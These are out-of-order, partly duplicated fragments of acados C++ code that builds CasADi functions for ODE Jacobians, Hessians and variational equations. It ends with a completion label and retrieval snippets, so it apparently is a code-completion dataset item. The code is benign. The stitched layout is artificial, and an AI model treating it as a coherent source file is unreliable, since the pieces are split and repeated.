{casadi::SX::zeros(nu, nx), casadi::SX::eye(nu)}; std::vector<casadi::SX> S_forw_vec {casadi::SX::horzcat(SxSp), casadi::SX::horzcat(aux)}; casadi::SX S_forw = casadi::SX::vertcat(S_forw_vec); casadi::SX hess = S_forw.T() * casadi::SX::jtimes(adj, w, S_forw); casadi::SX hess2 = casadi::SX::sym("hess2", 0, 0); for (int j = 0; j < nx+nu; j++) { for (int i = j; i < nx+nu; i++) { std::vector<casadi::SX> to_concat{hess2, hess(i, j)}; hess2 = casadi::SX::vertcat(to_concat); } } fun = casadi::Function(model.name() + "_expl_ode_hess", {x, Sx, Sp, lambdaX, u}, {adj, hess2}); } else { casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); casadi::MX rhs = casadi::MX::vertcat(model(vector<casadi::MX>({x, u}))); int_t nx = x.size1(); int_t nu = u.size1(); casadi::MX Sx = casadi::MX::sym("Sx", nx, nx); casadi::MX Sp = casadi::MX::sym("Sp", nx, nu); casadi::MX lambdaX = casadi::MX::sym("lambdaX", nx, 1); casadi::MX w = casadi::MX::vertcat(vector<casadi::MX>({x, u})); casadi::MX adj = casadi::MX::jtimes(rhs, w, lambdaX, true); std::vector<casadi::MX> SxSp = {Sx, Sp}; std::vector<casadi::MX> aux = {casadi::MX::zeros(nu, nx), casadi::MX::eye(nu)}; std::vector<casadi::MX> S_forw_vec {casadi::MX::horzcat(SxSp), casadi::MX::horzcat(aux)}; casadi::MX S_forw = casadi::MX::vertcat(S_forw_vec); casadi::MX hess = S_forw.T() * casadi::MX::jtimes(adj, w, S_forw); casadi::MX hess2 = casadi::MX::sym("hess2", 0, 0); for (int j = 0; j < nx+nu; j++) { for (int i = j; i < nx+nu; i++) { std::vector<casadi::MX> to_concat{hess2, hess(i, j)}; hess2 = casadi::MX::vertcat(to_concat); } } fun = casadi::Function(model.name() + "_expl_ode_hess", {x, Sx, Sp, lambdaX, u}, {adj, hess2}); } return casadi_module(fun, output_folder); } }
#include "acados_cpp/function_generation.hpp" #include <vector> namespace acados { using std::string; using std::vector; casadi_module generate_nls_residual(const casadi::Function& residual, string output_folder, const bool use_MX) { casadi::Function r_fun; if (use_MX == false) { casadi::SX x = residual.sx_in(0); casadi::SX u = residual.sx_in(1); vector<casadi::SX> xu{x, u}; vector<casadi::SX> ux{u, x}; casadi::SX r_new = casadi::SX::vertcat(residual(xu)); casadi::SX r_jacT = casadi::SX::jacobian(r_new, casadi::SX::vertcat(ux)).T(); r_fun = casadi::Function(residual.name() + "_nls_res", {casadi::SX::vertcat(ux)}, {r_new, r_jacT}); } else { casadi::MX x = residual.mx_in(0); casadi::MX u = residual.mx_in(1); vector<casadi::MX> xu{x, u}; vector<casadi::MX> ux{u, x}; casadi::MX r_new = casadi::MX::vertcat(residual(xu)); casadi::MX r_jacT = casadi::MX::jacobian(r_new, casadi::MX::vertcat(ux)).T(); r_fun = casadi::Function(residual.name() + "_nls_res", {casadi::MX::vertcat(ux)}, {r_new, r_jacT}); } return casadi_module(r_fun, output_folder); } casadi_module generate_impl_ode_fun(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict rhs_dict = (model(arg_in)); casadi::SX rhs = rhs_dict.begin()->second; fun = casadi::Function(model.name() + "_impl_ode_fun", {x, xdot, u, z}, {rhs}); } else { casadi::MX x = model.mx_in("x"); casadi::MX xdot = model.mx_in("xdot"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict rhs_dict = (model(arg_in)); casadi::MX rhs = rhs_dict.begin()->second; fun = casadi::Function(model.name() + "_impl_ode_fun", {x, xdot, u, z}, {rhs}); } return casadi_module(fun, output_folder); } casadi_module generate_impl_ode_fun_jac_x_xdot_z(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict rhs_dict = (model(arg_in)); casadi::SX rhs = rhs_dict.begin()->second; casadi::SX jac_x = casadi::SX::jacobian(rhs, x); casadi::SX jac_z = casadi::SX::jacobian(rhs, z); casadi::SX jac_xdot = casadi::SX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_z", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_z}); } else { casadi::MX x = model.mx_in("x"); casadi::MX xdot = model.mx_in("xdot"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict rhs_dict = (model(arg_in)); casadi::MX rhs = rhs_dict.begin()->second; casadi::MX jac_x = casadi::MX::jacobian(rhs, x); casadi::MX jac_z = casadi::MX::jacobian(rhs,
casadi_module generate_impl_ode_jac_x_xdot_u_z(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict rhs_dict = (model(arg_in)); casadi::SX rhs = rhs_dict.begin()->second; casadi::SX jac_x = casadi::SX::jacobian(rhs, x); casadi::SX jac_u = casadi::SX::jacobian(rhs, u); casadi::SX jac_z = casadi::SX::jacobian(rhs, z); casadi::SX jac_xdot = casadi::SX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_jac_x_xdot_u_z", {x, xdot, u, z}, {jac_x, jac_xdot, jac_u, jac_z}); } else { casadi::MX x = model.mx_in("x"); casadi::MX xdot = model.mx_in("xdot"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict rhs_dict = (model(arg_in)); casadi::MX rhs = rhs_dict.begin()->second; casadi::MX jac_x = casadi::MX::jacobian(rhs, x); casadi::MX jac_u = casadi::MX::jacobian(rhs, u); casadi::MX jac_z = casadi::MX::jacobian(rhs, z); casadi::MX jac_xdot = casadi::MX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_jac_x_xdot_u_z", {x, xdot, u, z}, {jac_x, jac_xdot, jac_u, jac_z}); } return casadi_module(fun, output_folder); } casadi_module generate_impl_ode_hess(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX xdot = model.sx_in("xdot"); casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); int_t nx = x.size1(); int_t nu = u.size1(); int_t nz = z.size1(); casadi::SX x_xdot_z_u = casadi::SX::vertcat(vector<casadi::SX>({x, xdot, z, u})); casadi::SX multiplier = casadi::SX::sym("multiplier", nx + nz, 1); casadi::SX mult_mat = casadi::SX::sym("mult_mat", 2*nx+nz+nu, nx + nu); casadi::SX HESS = casadi::SX::zeros(2*nx+nz+nu, 2*nx+nz+nu); casadi::SX jac_x_xdot_z; casadi::SX hess_x_xdot_z; casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict model_dict = (model(arg_in)); casadi::SX model_expr = model_dict.begin()->second; for (int ii = 0; ii < nx+nz; ii++) { jac_x_xdot_z = jacobian(model_expr(ii), x_xdot_z_u); hess_x_xdot_z = jacobian(jac_x_xdot_z, x_xdot_z_u); HESS = HESS + multiplier(ii) * hess_x_xdot_z; } casadi::SX HESS_multiplied = mtimes(mult_mat.T() , mtimes(HESS, mult_mat)); fun = casadi::Function(model.name() + "_impl_ode_hess", {x, xdot, u, z, multiplier, mult_mat}, {HESS_multiplied}); } else { casadi::MX xdot = model.mx_in("xdot"); casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); int_t nx = x.size1(); int_t nu = u.size1(); int_t nz = z.size1(); casadi::MX x_xdot_z_u = casadi::MX::vertcat(vector<casadi::MX>({x, xdot, z, u})); casadi::MX multiplier = casadi::MX::sym("multiplier", nx + nz, 1); casadi::MX mult_mat = casadi::MX::sym("mult_mat", 2*nx+nz+nu, nx + nu); casadi::MX HESS = casadi::MX::zeros(2*nx+nz+nu, 2*nx+nz+nu); casadi::MX jac_x_xdot_z; casadi::MX hess_x_xdot_z; casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict model_dict = (model(arg_in)); casadi::MX model_expr = model_dict.begin()->second; for (int ii = 0; ii < nx+nz; ii++) { jac_x_xdot_z = jacobian(model_expr(ii), x_xdot_z_u); hess_x_xdot_z = jacobian(jac_x_xdot_z, x_xdot_z_u); HESS = HESS + multiplier(ii) * hess_x_xdot_z; } casadi::MX HESS_multiplied = mtimes(mult_mat.T() , mtimes(HESS, mult_mat)); fun = casadi::Function(model.name() + "_impl_ode_hess", {x, xdot, u, z, multiplier, mult_mat}, {HESS_multiplied}); } return casadi_module(fun, output_folder); } casadi_module generate_impl_ode_fun_jac_x_xdot_u(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict rhs_dict = (model(arg_in)); casadi::SX rhs = rhs_dict.begin()->second; casadi::SX jac_x = casadi::SX::jacobian(rhs, x); casadi::SX jac_u = casadi::SX::jacobian(rhs, u); casadi::SX jac_xdot = casadi::SX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_u", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_u}); } else { casadi::MX x = model.mx_in("x"); casadi::MX xdot = model.mx_in("xdot"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict rhs_dict = (model(arg_in)); casadi::MX rhs = rhs_dict.begin()->second; casadi::MX jac_x = casadi::MX::jacobian(rhs, x); casadi::MX jac_u = casadi::MX::jacobian(rhs, u); casadi::MX jac_xdot = casadi::MX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_u", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_u}); } return casadi_module(fun, output_folder); } casadi_module generate_forward_vde(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function vde_fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); int_t nx = x.size1(); int_t nu = u.size1(); casadi::SX rhs = casadi::SX::vertcat(model(vector<casadi::SX>({x, u}))); casadi::SX Sx = casadi::SX::sym("Sx", nx, nx); casadi::SX Su = casadi::SX::sym("Su", nx, nu); casadi::SX vde_x = casadi::SX::jtimes(rhs, x, Sx); casadi::SX vde_u = casadi::SX::jacobian(rhs, u) + casadi::SX::jtimes(rhs, x, Su); vde_fun = casadi::Function(model.name() + "_expl_vde_for", {x, Sx, Su, u}, {rhs, vde_x, vde_u}); } else { casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); int_t nx = x.size1(); int_t nu = u.size1(); casadi::MX rhs = casadi::MX::vertcat(model(vector<casadi::MX>({x, u}))); casadi::MX Sx = casadi::MX::sym("Sx", nx, nx); casadi::MX Su = casadi::MX::sym("Su", nx, nu); casadi::MX vde_x = casadi::MX::jtimes(rhs, x, Sx); casadi::MX vde_u = casadi::MX::jacobian(rhs, u) + casadi::MX::jtimes(rhs, x, Su); vde_fun = casadi::Function(model.name() + "_expl_vde_for", {x, Sx, Su, u}, {rhs, vde_x, vde_u}); } return casadi_module(vde_fun, output_folder); } casadi_module generate_expl_ode_fun(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); casadi::SX rhs = casadi::SX::vertcat(model(vector<casadi::SX>({x, u}))); fun = casadi::Function(model.name() + "_expl_ode_fun", {x, u}, {rhs}); } else { casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); casadi::MX rhs = casadi::MX::vertcat(model(vector<casadi::MX>({x, u}))); fun = casadi::Function(model.name() + "_expl_ode_fun", {x, u}, {rhs}); } return casadi_module(fun, output_folder); } casadi_module generate_expl_vde_adj(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); casadi::SX rhs = casadi::SX::vertcat(model(vector<casadi::SX>({x, u}))); int_t nx = x.size1(); casadi::SX lambdaX = casadi::SX::sym("lambdaX", nx, 1); casadi::SX w = casadi::SX::vertcat(vector<casadi::SX>({x, u})); casadi::SX adj = casadi::SX::jtimes(rhs, w, lambdaX, true); fun = casadi::Function(model.name() + "_expl_vde_adj", {x, lambdaX, u}, {adj}); } else { casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); casadi::MX rhs = casadi::MX::vertcat(model(vector<casadi::MX>({x, u}))); int_t nx = x.size1(); casadi::MX lambdaX = casadi::MX::sym("lambdaX", nx, 1); casadi::MX w = casadi::MX::vertcat(vector<casadi::MX>({x, u})); casadi::MX adj = casadi::MX::jtimes(rhs, w, lambdaX, true); fun = casadi::Function(model.name() + "_expl_vde_adj", {x, lambdaX, u}, {adj}); } return casadi_module(fun, output_folder); } casadi_module generate_expl_ode_hess(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); casadi::SX rhs = casadi::SX::vertcat(model(vector<casadi::SX>({x, u}))); int_t nx = x.size1(); int_t nu = u.size1(); casadi::SX Sx = casadi::SX::sym("Sx", nx, nx); casadi::SX Sp = casadi::SX::sym("Sp", nx, nu); casadi::SX lambdaX = casadi::SX::sym("lambdaX", nx, 1); casadi::SX w = casadi::SX::vertcat(vector<casadi::SX>({x, u})); casadi::SX adj = casadi::SX::jtimes(rhs, w, lambdaX, true); std::vector<casadi::SX> SxSp = {Sx, Sp}; std::vector<casadi::SX> aux = {casadi::SX::zeros(nu, nx), casadi::SX::eye(nu)}; std::vector<casadi::SX> S_forw_vec {casadi::SX::horzcat(SxSp), casadi::SX::horzcat(aux)}; casadi::SX S_forw = casadi::SX::vertcat(S_forw_vec); casadi::SX hess = S_forw.T() * casadi::SX::jtimes(adj, w, S_forw); casadi::SX hess2 = casadi::SX::sym("hess2", 0, 0); for (int j = 0; j < nx+nu; j++) { for (int i = j; i < nx+nu; i++) { std::vector<casadi::SX> to_concat{hess2, hess(i, j)}; hess2 = casadi::SX::vertcat(to_concat); } } fun = casadi::Function(model.name() + "_expl_ode_hess", {x, Sx, Sp, lambdaX, u}, {adj, hess2}); } else { casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); casadi::MX rhs = casadi::MX::vertcat(model(vector<casadi::MX>({x, u}))); int_t nx = x.size1(); int_t nu = u.size1(); casadi::MX Sx = casadi::MX::sym("Sx", nx, nx); casadi::MX Sp = casadi::MX::sym("Sp", nx, nu); casadi::MX lambdaX = casadi::MX::sym("lambdaX", nx, 1); casadi::MX w = casadi::MX::vertcat(vector<casadi::MX>({x, u})); casadi::MX adj = casadi::MX::jtimes(rhs, w, lambdaX, true); std::vector<casadi::MX> SxSp = {Sx, Sp}; std::vector<casadi::MX> aux = {casadi::MX::zeros(nu, nx), casadi::MX::eye(nu)}; std::vector<casadi::MX> S_forw_vec {casadi::MX::horzcat(SxSp), casadi::MX::horzcat(aux)}; casadi::MX S_forw = casadi::MX::vertcat(S_forw_vec); casadi::MX hess = S_forw.T() * casadi::MX::jtimes(adj, w, S_forw); casadi::MX hess2 = casadi::MX::sym("hess2", 0, 0); for (int j = 0; j < nx+nu; j++) { for (int i = j; i < nx+nu; i++) { std::vector<casadi::MX> to_concat{hess2, hess(i, j)}; hess2 = casadi::MX::vertcat(to_concat); } } fun = casadi::Function(model.name() + "_expl_ode_hess", {x, Sx, Sp, lambdaX, u}, {adj, hess2}); } return casadi_module(fun, output_folder); } }
z); casadi::MX jac_xdot = casadi::MX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_z", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_z}); } return casadi_module(fun, output_folder); }
function_block-function_prefixed
[ { "content": " void *model;\n", "file_path": "acados/sim/sim_common.h", "rank": 0, "score": 126955.81104697057 }, { "content": "def smooth_fun(x, p, a):\n", "file_path": "examples/c/engine_model/engine_model.py", "rank": 1, "score": 125208.48970062159 }, { "content": "...